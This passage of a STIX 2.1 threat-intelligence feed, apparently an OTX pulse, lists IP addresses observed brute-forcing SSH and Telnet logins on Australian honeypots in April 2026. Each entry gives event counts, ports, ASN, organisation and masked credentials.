      "valid_from": "2026-04-04T07:15:05.000Z",
      "valid_until": "2026-05-06T07:15:04.000Z"
    },
    {
      "created": "2026-04-04T07:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 113. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd. Usernames observed (masked): ***, u****u, s****a, **, f********r. Passwords observed (masked): f********r, s****a, v*******r, ***, 1**4.",
      "id": "indicator--676c3ba4-c867-4e01-853f-2cbf293c30e2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T07:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '80.94.92.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T07:15:05.000Z",
      "valid_until": "2026-05-06T07:15:04.000Z"
    },
    {
      "created": "2026-04-04T08:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 37. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 150215. Organisation(s): PT Era Bangun Indonesia.",
      "id": "indicator--e2a645d3-f896-4c1e-940e-ef816d36a1e5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T08:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.13.138.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T08:15:05.000Z",
      "valid_until": "2026-05-06T08:15:03.000Z"
    },
    {
      "created": "2026-04-04T08:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 184. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 18109. Organisation(s): MAISHA NET. Usernames observed (masked): r**t, 3**********4, b**s, f******1, h****r. Passwords observed (masked): 1****6, 1*******0, 1******x, 2****@, 3***********4.",
      "id": "indicator--eae1a403-68dd-46d5-992e-470a1ca81c10",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T08:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.86.198.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T08:15:05.000Z",
      "valid_until": "2026-05-06T08:15:03.000Z"
    },
    {
      "created": "2026-04-04T08:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--376e08e0-7c85-4fe9-827f-a304af5609e5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T08:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '114.33.213.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T08:15:05.000Z",
      "valid_until": "2026-05-06T08:15:03.000Z"
    },
    {
      "created": "2026-04-04T08:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 161. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, k***n, u****u, 3**********4, ***. Passwords observed (masked): 1**4, 1*********F, 1*********y, 1******n, 1******X.",
      "id": "indicator--597e42c4-3528-48e4-8473-bf60a976ac18",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T08:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '117.6.44.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T08:15:05.000Z",
      "valid_until": "2026-05-06T08:15:03.000Z"
    },
    {
      "created": "2026-04-04T08:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd.",
      "id": "indicator--bd0fcf33-1da8-4bbd-9bee-441603afc14f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T08:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '118.220.149.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T08:15:05.000Z",
      "valid_until": "2026-05-06T08:15:03.000Z"
    },
    {
      "created": "2026-04-04T08:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 127. Sensors involved: Heralding. Target ports: 5900. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Passwords observed (masked): 1******8, p******d, 0***0, 0****0, 0******3.",
      "id": "indicator--eddf76f8-854f-4477-8d45-1999affd18d9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T08:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '121.173.173.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T08:15:05.000Z",
      "valid_until": "2026-05-06T08:15:03.000Z"
    },
    {
      "created": "2026-04-04T08:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 149. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 24186. Organisation(s): RailTel Corporation of India Ltd. Usernames observed (masked): r**t, u****u, 3**********4, ***, s***m. Passwords observed (masked): 1******?, 1*********y, 1**********d, 3***********4, 3**********4.",
      "id": "indicator--7103cddd-ef71-4e05-a401-5e5054901737",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T08:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '122.252.246.1']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T08:15:05.000Z",
      "valid_until": "2026-05-06T08:15:03.000Z"
    },
    {
      "created": "2026-04-04T08:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t, 3**********4, a**a, f****e, u****u. Passwords observed (masked): 1*******e, 1******8, 3***********4, 3**********4, a***n.",
      "id": "indicator--30445292-ec72-420f-be63-bc056e62a356",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T08:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '150.5.169.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T08:15:05.000Z",
      "valid_until": "2026-05-06T08:15:03.000Z"
    },
    {
      "created": "2026-04-04T08:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie. Target ports: 23. Source country: MD. ASN(s): 31252. Organisation(s): StarNet Solutii SRL. Usernames observed (masked): r**t, a***n, g***t. Passwords observed (masked): 1***5, 1******r, a****e, s******n, x****1.",
      "id": "indicator--f2054665-c9b3-49e2-b8f1-36f1de73ba7b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T08:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '178.168.9.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T08:15:05.000Z",
      "valid_until": "2026-05-06T08:15:03.000Z"
    },
    {
      "created": "2026-04-04T08:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 242. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: EC. ASN(s): 27947. Organisation(s): Telconet S.A. Usernames observed (masked): r**t, p******s, 3**********4, ***, j****n. Passwords observed (masked): 3***********4, 3**********4, $******b, ***, 1******X.",
      "id": "indicator--afdee806-5073-4c3a-ac0d-388cc1a567b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T08:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '181.39.158.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T08:15:05.000Z",
      "valid_until": "2026-05-06T08:15:03.000Z"
    },
    {
      "created": "2026-04-04T08:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): p******s, 3**********4, r**t, s****r, s***m. Passwords observed (masked): 3**********4, P******d, Q**********6, S*******!, p******d.",
      "id": "indicator--89937d4d-e5e6-43af-919c-f907de1f2f6a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T08:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.123.146.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T08:15:05.000Z",
      "valid_until": "2026-05-06T08:15:03.000Z"
    },
    {
      "created": "2026-04-04T08:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 82. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): j****n, r**t, t**t, ***. Passwords observed (masked): ***, j****n, r********!, t**********d.",
      "id": "indicator--231870a9-bb25-4d82-ba3e-a8dbc2ce60e6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T08:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.123.146.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T08:15:05.000Z",
      "valid_until": "2026-05-06T08:15:03.000Z"
    },
    {
      "created": "2026-04-04T08:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 88. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, Q**********., Q********!, T**********8.",
      "id": "indicator--a5c4bbdb-0c78-4ec1-90f7-5e08661cab94",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T08:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.123.146.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T08:15:05.000Z",
      "valid_until": "2026-05-06T08:15:03.000Z"
    },
    {
      "created": "2026-04-04T08:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 88. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, 3**********4, p******s. Passwords observed (masked): 3***********4, 1******X, 3**********4, Q*************#.",
      "id": "indicator--3e2266f0-6b91-492a-ac87-b14bbb18c17d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T08:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.123.146.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T08:15:05.000Z",
      "valid_until": "2026-05-06T08:15:03.000Z"
    },
    {
      "created": "2026-04-04T08:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 160. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 133982. Organisation(s): Excitel Broadband Private Limited. Usernames observed (masked): r**t, 3**********4, f*****r, l***t, m******r. Passwords observed (masked): 1***5, 1****6, 1******., 1******F, 1******2.",
      "id": "indicator--892270af-828a-454e-a17c-38d6a8dda951",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T08:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.254.166.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T08:15:05.000Z",
      "valid_until": "2026-05-06T08:15:03.000Z"
    },
    {
      "created": "2026-04-04T08:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, r***y, r**t. Passwords observed (masked): 3***********4, A**********************************3, P*********3.",
      "id": "indicator--dd17d433-6f6b-4ae5-b6bd-51cf67db57ef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T08:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '4.210.186.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T08:15:05.000Z",
      "valid_until": "2026-05-06T08:15:03.000Z"
    },
    {
      "created": "2026-04-04T08:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 173. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, a***n, l*****y, t**t, 3**********4. Passwords observed (masked): 1******A, 3***********4, 3**********4, 8******1, A******4.",
      "id": "indicator--6de64068-df60-422f-a122-1a77b03b2658",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T08:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '43.163.107.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T08:15:05.000Z",
      "valid_until": "2026-05-06T08:15:03.000Z"
    },
    {
      "created": "2026-04-04T08:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 255. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 27847. Organisation(s): TECNOLOGIA DIGITAL, S.A. DGTEC. Usernames observed (masked): r**t, 3**********4, f*****r, t*******n, g*****t. Passwords observed (masked): 3***********4, 3**********4, 1***5, 1****6, 1******..",
      "id": "indicator--73ce5606-3f8c-4efc-981f-7c93808584b4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T08:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.172.153.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T08:15:05.000Z",
      "valid_until": "2026-05-06T08:15:03.000Z"
    },
    {
      "created": "2026-04-04T08:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 148. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 51167. Organisation(s): Contabo GmbH. Usernames observed (masked): r**t, 3**********4, a***n, f****e, p******s. Passwords observed (masked): 0******0, 1********v, 3***********4, 3**********4, B*****1.",
      "id": "indicator--5c1028a6-4618-4d52-9702-04e2e09653ab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T08:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '62.171.140.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T08:15:05.000Z",
      "valid_until": "2026-05-06T08:15:03.000Z"
    },
    {
      "created": "2026-04-04T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 1221. Organisation(s): Telstra Limited.",
      "id": "indicator--60d9375e-112b-4877-8e88-b6bb38f31967",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '101.176.39.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T09:15:10.000Z",
      "valid_until": "2026-05-06T09:15:09.000Z"
    },
    {
      "created": "2026-04-04T09:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 142595. Organisation(s): AG Communication. Usernames observed (masked): g****1. Passwords observed (masked): 1****6.",
      "id": "indicator--a316d8bc-9dd3-4693-9851-f8bfb675ce6f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.170.173.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T09:15:10.000Z",
      "valid_until": "2026-05-06T09:15:09.000Z"
    },
    {
      "created": "2026-04-04T09:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 21. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): -**************-, h******!, r********6.",
      "id": "indicator--406381d7-c230-4e36-a82c-e4ee6eccf094",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '120.48.110.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T09:15:10.000Z",
      "valid_until": "2026-05-06T09:15:09.000Z"
    },
    {
      "created": "2026-04-04T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): R******?.",
      "id": "indicator--311be514-cf0f-48e4-b3cb-f1c8d595113c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '147.182.194.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T09:15:10.000Z",
      "valid_until": "2026-05-06T09:15:09.000Z"
    },
    {
      "created": "2026-04-04T09:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 8560. Organisation(s): IONOS SE. Usernames observed (masked): o****e. Passwords observed (masked): O*******!.",
      "id": "indicator--16d19770-aba5-4d02-a1c5-66b26bf62b85",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '217.154.38.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T09:15:10.000Z",
      "valid_until": "2026-05-06T09:15:09.000Z"
    },
    {
      "created": "2026-04-04T09:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--a8887d05-29c8-445b-9607-885c5c38e5ac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '40.117.97.0']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T09:15:10.000Z",
      "valid_until": "2026-05-06T09:15:09.000Z"
    },
    {
      "created": "2026-04-04T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PE. ASN(s): 269843. Organisation(s): BANTEL SAC.",
      "id": "indicator--2a4cf8c5-f265-4ce2-a82a-d8ff7d63e2e4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.189.108.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T09:15:10.000Z",
      "valid_until": "2026-05-06T09:15:09.000Z"
    },
    {
      "created": "2026-04-04T10:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 62809. Organisation(s): VOLT BROADBAND.",
      "id": "indicator--00c535ae-79f2-494e-8b64-0b0ef25a5655",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T10:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '104.250.224.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T10:15:05.000Z",
      "valid_until": "2026-05-06T10:15:03.000Z"
    },
    {
      "created": "2026-04-04T10:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 215778. Organisation(s): Alpha Strike Labs GmbH.",
      "id": "indicator--15bb8961-a62a-42a4-ac4b-c64e4cd09ed5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T10:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '194.187.178.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T10:15:05.000Z",
      "valid_until": "2026-05-06T10:15:03.000Z"
    },
    {
      "created": "2026-04-04T10:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 982. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 208137. Organisation(s): Feo Prest SRL. Usernames observed (masked): r**t, b*************g, k******h. Passwords observed (masked): ***, 1**4, 1***5, 1****6, 1*****7.",
      "id": "indicator--1a3e7d37-d536-4624-8679-dfad30ddb6a8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T10:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '213.177.179.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T10:15:05.000Z",
      "valid_until": "2026-05-06T10:15:03.000Z"
    },
    {
      "created": "2026-04-04T11:15:18.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 152. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): a***n, r**t, 1**4, ***, g****1. Passwords observed (masked): 1**4, a***n, 1***5, 1****6, 1******8.",
      "id": "indicator--55190bd4-29bd-4cb7-9226-66aa4987eaa5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T11:15:18.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '116.110.149.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T11:15:18.000Z",
      "valid_until": "2026-05-06T11:15:08.000Z"
    },
    {
      "created": "2026-04-04T11:15:18.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 561. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, s*****t, t**t, ***. Passwords observed (masked): p******d, 0**************D, 1**4, 1***5, 1****6.",
      "id": "indicator--c3c07ec0-19c3-4ab1-b69f-5df936f9043e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T11:15:18.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '171.231.176.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T11:15:18.000Z",
      "valid_until": "2026-05-06T11:15:08.000Z"
    },
    {
      "created": "2026-04-04T11:15:18.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 337. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, c***o, *****, 1****6. Passwords observed (masked): 1****6, a***n, *****, 0*************7, *.",
      "id": "indicator--d77e326e-2443-4cb8-a2cc-3e4248d3b5a3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T11:15:18.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '171.231.187.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T11:15:18.000Z",
      "valid_until": "2026-05-06T11:15:08.000Z"
    },
    {
      "created": "2026-04-04T11:15:18.000Z",
